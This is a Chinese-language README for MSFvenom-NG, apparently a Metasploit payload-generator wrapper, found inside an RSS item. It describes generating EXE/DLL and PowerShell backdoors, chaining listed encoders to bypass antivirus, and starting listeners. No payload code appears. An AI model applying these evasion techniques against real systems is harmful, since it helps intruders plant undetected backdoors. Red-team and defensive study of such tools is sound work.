<p>支持自定义编码规则 Bypass 杀毒软件</p>
<h2><a id="user-content-usage" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#usage" aria-hidden="true"></a>Usage</h2>
<p><code>python3 main.py</code></p>
<p>程序第一次运行会进行初始化 (创建 <code>tmp</code> 目录并生成 <code>config.json</code> <code>rules.json</code>)</p>
<pre><code>[*] Initializing
[+] Initialized successfully

    	   ___
 _____ ___|  _|_ _ ___ ___ ___ _____
|     |_ -|  _| | | -_|   | . |     |
|_|_|_|___|_|  \_/|___|_|_|___|_|_|_|
         	MSFvenom-NG
         		Ver: 1.1
    	

        (E)XE/DLL Backdoor
        (P)owershell Backdoor
        (S)tart msf Listener
        (C)ustom Settings
        (Q)uit
        
MSFvenom-NG&gt;:
</code></pre>
<h2><a id="user-content-enc" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#enc" aria-hidden="true"></a>Enc</h2>
<p>编码规则位于 <code>rules.json</code> 中</p>
<pre><code>{
"x86": {
	"test_rule": "S1"
	}
}
</code></pre>
<p>格式: 字母+数字 (编码器 编码次数)</p>
<p>字母对应的编码器位于 <code>lib/enc.py</code> 中</p>
<pre><code>x64:

	X: x64/xor
	Z: x64/zutto_dekiru

x86:

	F: x86/add_sub
	H: x86/alpha_mixed
	E: x86/alpha_upper
	R: x86/avoid_underscore_tolower
	U: x86/avoid_utf8_tolower
	X: x86/bloxor
	B: x86/bmp_polyglot
	C: x86/call4_dword_xor
	P: x86/context_cpuid
	T: x86/context_stat
	I: x86/context_time
	D: x86/countdown
	M: x86/fnstenv_mov
	J: x86/jmp_call_additive
	K: x86/nonalpha
	L: x86/nonupper
	O: x86/opt_sub
	V: x86/service
	S: x86/shikata_ga_nai
	G: x86/single_static_bit
	Y: x86/unicode_mixed
	N: x86/unicode_upper
</code></pre>
<p><code>Ex: S5D3E2 (x86/shikata_ga_nai x5 x86/countdown x3 x86/alpha_upper x3)</code></p>
<p><em>Powershell 默认使用 cmd/powershell_base64 编码器</em></p>
<h2><a id="user-content-changelog" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#changelog" aria-hidden="true"></a>CHANGELOG</h2>
<pre><code>2017-06-24 Updated Ver:1.2 添加自定义设置 listener, 一键启动 metasploit 监听器
2018-06-23 Updated Ver:1.1 重构代码,只针对 Windows 平台,支持 encoder
2018-02-24 Released Ver:1.0 多平台 payload 生成
</code></pre>
<h2><a id="user-content-todo" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#todo" aria-hidden="true"></a>TODO</h2>
<p>免杀 Meterpreter 监听流量</p>
<p>自定义设置 (指定 msf 路径 默认参数&#8230;)</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
